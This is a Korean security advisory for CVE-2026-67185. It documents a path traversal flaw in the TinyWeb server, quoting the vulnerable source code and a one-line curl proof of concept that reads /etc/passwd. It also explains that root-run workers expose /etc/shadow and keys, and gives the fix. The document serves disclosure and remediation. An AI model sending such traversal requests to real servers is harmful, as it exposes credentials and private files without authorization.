
보안 권고: 인증되지 않은 경로 탐색으로 임의 파일 읽기 허용 (TinyWeb)
지정된 CVE ID: CVE-2026-67185
TinyWeb은 제공할 파일의 경로를 웹 루트와 요청 URL을 수신된 그대로 연결하여 구성하며, 정규화 과정이 없습니다. 인증을 전혀 거치지 않은 원격 클라이언트는 요청 라인에 ../ 시퀀스를 삽입하여 서버 프로세스가 열 수 있는 모든 파일(웹 루트 외부의 파일 포함)을 읽을 수 있습니다.
TnyWeb/0.0.80b3b5fd (2019-01-09) — 이 방식으로 경로가 처음 조립된 시점부터 a381da2 (2023-11-22, master의 최신 커밋)까지.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N서버의 수신 대기 TCP 포트(제공된 구성에서 9090)에 접근할 수 있는 인증되지 않은 원격 공격자. 자격 증명, 사용자 상호 작용, 사전 접근 권한이 필요하지 않습니다. 단일 요청만으로 충분합니다.
HttpBuilder::buildResponse()는 구성된 웹 루트에서 시작하여 파싱된 요청의 URL 경로 필드를 그대로 추가합니다:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
86행의 결합과 94행의 파일시스템 호출 사이에는 닷 세그먼트 제거(RFC 3986 섹션 5.2.4), realpath() 정규화, 결과가 server.www 내부에 유지되는지에 대한 검사가 전혀 없습니다.
URL 파서도 ..를 필터링하지 않습니다. HttpParser::parseUrlChar()에서 경로 상태는 isUrlChar()를 통과하는 모든 문자를 허용하며, .은 유효한 URL 문자이므로 ../는 변경되지 않은 채 buildResponse()에 도달합니다:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
이후 HttpFile::setFile()은 서버 프로세스의 권한을 사용하여 생성된 모든 경로를 열고 제공합니다:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
참고: TinyWeb은 URL 경로를 퍼센트 디코딩하지 않으므로 %2e%2e%2f는 작동하지 않습니다. 리터럴 ../ 형식은 작동합니다.
제공된 구성으로 서버를 시작합니다(포트 9090에서 수신 대기, 구성된 웹 루트에서 제공).
경로가 웹 루트 위로 올라가는 요청을 보냅니다. --path-as-is 플래그는 curl이 전송 전에 ../를 정리하지 못하게 합니다:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
/etc/passwd의 내용과 함께 200 OK로 응답합니다:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
필요한 ../ 세그먼트 수는 웹 루트가 위치한 깊이에 따라 달라집니다. 웹 루트 깊이와 같거나 그 이상이면 어떤 개수든 작동합니다. 커널이 파일시스템 루트에서 ..를 무시하기 때문입니다.
모든 원격 클라이언트는 서버 프로세스가 열 수 있는 모든 파일을 읽을 수 있습니다. 기본 설정에서 작업자 프로세스는 root로 실행되므로 /etc/shadow, TLS 개인 키, 자격 증명이 포함된 구성 파일, 웹 루트 아래의 애플리케이션 자체 소스까지 포함됩니다.
결합된 경로를 realpath()로 정규화하고 결과가 구성된 웹 루트 내부에 있지 않으면 요청을 거부합니다. 심층 방어 차원에서 RFC 3986 섹션 5.2.4에 따라 URL 파싱 중 닷 세그먼트를 제거하고, 해당 정규화가 실행되기 전에 경로를 퍼센트 디코딩합니다.